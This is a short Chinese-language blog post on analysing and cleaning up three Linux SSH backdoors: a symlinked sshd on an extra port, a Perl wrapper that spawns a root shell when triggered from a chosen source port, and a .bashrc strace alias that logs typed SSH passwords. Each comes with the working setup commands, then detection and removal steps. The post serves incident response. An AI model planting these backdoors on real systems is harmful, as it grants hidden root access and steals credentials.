Linux SSH Backdoor分析排查

1、SSH后门分类

SSH后门方式有以下几种

  • 软链接
  • SSH Server wrapper
  • SSH Keylogger

2、软链接

  • 利用方法

[root@helen]# ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

  • 排查方法

[root@helen]# netstat -anop

通过开发端口信息的PID查询进程路径,【ll /proc/xxxx】命令查看程序对应的路径。

  • 清除后门
kill -9 pid
rm -rf 后门程序

3、SSH Server wrapper

  • 利用方法

先将/usr/sbin/sshd文件mv到/usr/bin目录

[root@helen ~]# cd /usr/sbin/
[root@helen sbin]# mv sshd ../bin
[root@helen sbin]# vim sshd

再编辑sshd

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

再设置权限

chmod 755 sshd

攻击者:

在本机上执行socat STDIO TCP4:target_ip:22,sourceport=19526

  • 排查方法

查看端口可以看到网络外链的端口

因为正常的sshd路径是在/usr/sbin/sshd,通过命令【ll /proc/xxx】查看sshd的路径路径在/usr/bin/sshd。所以断定sshd被动过手脚。

通过查看sshd文件可得知sshd的确被动过手脚。

cat /usr/sbin/sshd 
  • 清除后门
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

4、SSH Keylogger

  • 利用方法

编辑当前用户下的.bashrc文件

vi /root/.bashrc

在最后面添加如下后门代码:

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

【source .bashrc】命令使更改的配置生效

ssh连接或者su切换用户,输入密码时的密码,无论错误或者正确都能记录到log里

  • 排查方法

排查环境变量

  • 清除后门

清空增加的环境变量内容

5、参考

https://joychou.org/hostsec/linux-ssh-backdoor.html
http://pastebin.com/2NgL8SDE
http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/
https://diogomonica.com/posts/poor-man-s-ssh-keylogger/
http://drops.wooyun.org/tips/1951

posted @ 2018-06-11 22:41  17bdw  阅读(1102)  评论(0编辑  收藏  举报